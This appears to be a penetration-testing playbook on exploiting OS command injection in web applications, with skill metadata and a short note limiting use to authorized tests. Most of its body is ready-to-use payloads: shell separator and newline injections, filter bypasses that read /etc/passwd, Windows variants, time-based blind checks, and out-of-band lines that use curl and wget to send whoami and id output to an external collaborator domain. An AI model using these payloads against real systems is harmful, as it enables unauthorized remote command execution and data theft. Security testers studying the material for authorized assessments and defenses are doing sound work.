exploiting-os-command-injection

name	exploiting-os-command-injection
description	Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution. Covers in-band, blind, and out-of-band detection across Linux and Windows, separator and filter-bypass variants, and escalation to full RCE.
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","command-injection","os-command-injection","rce","remote-code-execution","owasp","web-security"]
version	1.0
author	xalgorix
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Exploiting OS Command Injection

When to Use

• During authorized penetration tests when a parameter is reflected into a system command, shell, or process invocation (ping, nslookup, ImageMagick, ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
• When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup", "check connectivity") which are the single most common command-injection sinks
• When file names, hostnames, or format parameters flow into system(), exec(), popen(), subprocess with shell=True, Runtime.exec, or backticks
• After finding LFI/file upload — chaining to RCE often involves a command sink

Do not run destructive commands (rm, shutdown, fork bombs) on the target. Limit proof-of-concept to read-only commands (id, whoami, hostname).

Critical: Variants Most Often Missed (test these for EVERY parameter)

Command injection is missed when only one separator is tried. For every parameter — especially hostnames, file names, and "format" values — try the full separator matrix in both an in-band and a blind form.

# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field:  127.0.0.1;id
;id                 # command separator (Linux/most shells)
| id                # pipe
|| id               # OR (runs if first fails)
& id                # background / AND (Windows cmd)
&& id               # AND (runs if first succeeds)
`id`                # backtick substitution
$(id)               # $() substitution
%0a id              # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,}               # brace bypass when spaces are filtered
\nid

# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}

# Windows
& whoami
&& whoami
| whoami
%0a whoami

Blind / out-of-band detection (when output is NOT reflected)

Most real command injection is blind. Confirm with timing or OOB callbacks:

# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1            # Windows
;ping -c 10 127.0.0.1            # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010

# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun     # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun

A 10-second delay that tracks the injected sleep value (test 0s vs 10s vs 20s to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms injection even with no visible output.